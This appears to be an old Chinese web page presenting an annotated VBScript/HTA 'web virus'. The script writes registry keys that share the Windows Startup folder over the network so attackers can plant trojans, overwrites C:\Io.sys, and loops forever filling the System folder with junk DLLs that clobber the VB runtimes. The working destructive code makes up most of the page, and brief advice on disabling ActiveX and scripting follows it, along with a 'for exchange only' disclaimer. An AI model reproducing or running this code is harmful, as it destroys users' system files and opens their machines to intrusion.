📄 11.htm
字号:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>又一个写硬盘的网页病毒程序</TITLE>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<STYLE type=text/css>BODY {
FONT-SIZE: 9pt; FONT-FAMILY: "宋体"
}
TABLE {
FONT-SIZE: 9pt; FONT-FAMILY: "宋体"
}
TD {
FONT-SIZE: 9pt; FONT-FAMILY: "宋体"
}
INPUT {
FONT-SIZE: 9pt; FONT-FAMILY: "宋体"
}
TEXTAREA {
FONT-SIZE: 9pt; FONT-FAMILY: "宋体"
}
SELECT {
FONT-SIZE: 9pt; FONT-FAMILY: "宋体"
}
CODE {
FONT-SIZE: 9pt; FONT-FAMILY: "宋体r"
}
A {
COLOR: #005500
}
A:hover {
COLOR: #cc0000
}
.border {
BORDER-RIGHT: #000000 1px solid; BORDER-TOP: #000000 1px solid; LIST-STYLE-POSITION: inside; BORDER-LEFT: #000000 1px solid; BORDER-BOTTOM: #000000 1px solid; LIST-STYLE-TYPE: square; BACKGROUND-COLOR: transparent
}
</STYLE>
<META content="MSHTML 6.00.2600.0" name=GENERATOR></HEAD>
<BODY text=#000000 bgColor=#ffffff>
<TABLE borderColor=#339933 cellSpacing=0 borderColorDark=#ffffff cellPadding=0
width=209 align=left borderColorLight=#000000 border=1>
<TBODY>
<TR vAlign=center bgColor=#009900>
<TD >
<TABLE cellSpacing=0 cellPadding=0 width="76%" border=0>
<TBODY>
<TR>
<TD>
<TABLE width="65%" align=center border=0>
<TBODY>
<TR>
<TD bgColor=#009900>
<DIV align=center><FONT
face="Verdana, Arial, Helvetica, sans-serif"
color=#ffffff><B>又一个写硬盘的网页病毒程序</B></FONT></DIV>
</TD>
</TR>
</TBODY>
</TABLE>
<DIV align=center></DIV>
</TD>
</TR>
</TBODY>
</TABLE>
</TD>
</TR>
<TR vAlign=center align=left bgColor=#cccccc>
<TD></TD>
</TR>
<TR vAlign=top>
<TD class=tenpt><CODE><br>
</CODE><CODE><FONT color=#000000><FONT
color=#cc0000> </FONT></FONT></CODE><CODE><FONT color=#000000><FONT
color=#cc0000> </FONT></FONT></CODE>〈script language=vbs〉 <br>
On Error Resume Next· 容错语句，避免程序崩溃 <br>
set aa=CreateObject（"WScript.Shell"）·建立WScript对象 <br>
Set fs = CreateObject（"Scripting.FileSystemObject"）·建立<br>
文件系统对象 <br>
Set dir1 = fs.GetSpecialFolder（0）·得到Windows路径 <br>
Set dir2 = fs.GetSpecialFolder（1）·得到System路径 <br>
dir1=dir1+"\START MENU\PROGRAMS\启动" <br>
aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\ <br>
Network\LanMan\S$\Flags",302,"REG_DWORD"·写入Dword值Flags，<br>
这是共享类型的标志 <br>
aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\ <br>
Network\LanMan\S$\Type",0,"REG_DWORD"·写入Dword值Type <br>
aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\ <br>
Network\LanMan\S$\Path",dir1·写入共享资源的绝对路径 <br>
a=10 <br>
Set Os = CreateObject（"Scriptlet.TypeLib"）·建立自定义枚举<br>
对象 <br>
doc="“Hi”、“Hello”、“How are you?”、“Can you help me?”<br>
、“We want peace” 、“Where will you go?”、“Congratulations!!!”、“Don’t Cry”、“Look
at the pretty”、<br>
“Some advice on your shortcoming”、“Free XXX Pictures”、“A free hot porn site”、“Why
don’t you reply to me?”、“How<br>
about have dinner with me together?”、“Never kiss a stranger”<br>
“Hi”、“Hello”、“How are you?”、“Can you help me?”、“We want peace” 、“Where will
you go?”、“Congratulations!!!”、<br>
“Don’t Cry”、“Look at the pretty”、“Some advice on your shortcoming”、“Free
XXX Pictures”、“A free hot porn site”、<br>
“Why don’t you reply to me?”、“How about have dinner with<br>
me together?”、“Never kiss a stranger”“Hi”、“Hello”、<br>
“How are you?”、“Can you help me?”、“We want peace” 、“Where will you go?”、“Congratulations!!!”、“Don’t
Cry”、<br>
“Look at the pretty”、“Some advice on your shortcoming”、“Free XXX Pictures”、“A
free hot porn site”、“Why don’t you reply to me?”、“How about have dinner
with me together?”、“Never kiss a stranger”“Hi”、“Hello”、“How are you?”、<br>
“Can you help me?”、“We want peace” 、“Where will you<br>
go?”、“Congratulations!!!”、“Don’t Cry”、“Look at the pretty”、“Some advice
on your shortcoming”、“Free XXX Pictures”、“A free hot porn site”、“Why don’t
you reply<br>
to me?”“How about have dinner with me together?”" <br>
·一堆垃圾码，以备写入目标文件 <br>
Os.Reset·重置TypeLib对象 <br>
Os.Path = "C:\Io.sys"·TypeLib对象的目标路径为C:\Io.sys <br>
Os.Doc = doc·写入的内容——就是上面的一堆垃圾 <br>
Os.Write（）·写入！ <br>
while true <br>
·死循环，垃圾文件越多越好 <br>
a=a+1 <br>
Os.Reset <br>
Os.Path = dir2&"\Msvbvm"&a&".dll" <br>
·目标路径为System下的Msvbvm???.dll文件 <br>
Os.Doc = doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&
<br>
doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&d
<br>
oc&doc&doc&doc&doc&doc&doc&doc&doc&doc
<br>
·大量重复，以生成足够大小的文件 <br>
Os.Write（）·生成文件！ <br>
wend <br>
〈/script〉
<p>以上代码保存为.hta文件,可以调用FileSystemObject元件（文件系统对象）。病毒首先得到你的Windows目录和System目录，再修改注册表，把你的启动目录——"C:\WINDOWS\Start
Menu\Programs\启动"设置为完全共享，这样就可以被黑客搜到，上传一个“冰河”或者“广外女生”， 然后病毒就把目标对准System目录，往里面灌垃圾文件，都是形如Msvbvm???的Dll文件，而且所有VB编写的程序都不能用了，提示找不到Dll文件——因为Msvbvm50.dll和Msvbvm60.dll被垃圾文件覆盖了。
</p>
<p> 防备方法：将ActiveX元件、Java脚本和Vbs脚本等全部禁止就可以避免Bingo。 </p>
<p> 具体方法是：在Internet Explorer菜单中点击“工具”——“Internet选项”，在弹出的对话框中选择“安全”标签，再点击“自定义级别”按钮，就会弹出“安全设置”对话框，把其中所有ActiveX控件以及Java和Vbs脚本相关全部选择“禁用”即可。
</p>
<p>本代码仅仅用于交流, 严禁利用本代码搞破坏! <br>
</p>
<CODE><FONT color=#000000><FONT
color=#cc0000><BR>
</FONT></FONT></CODE></TD>
</TR>
</TBODY>
</TABLE>
</BODY></HTML>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -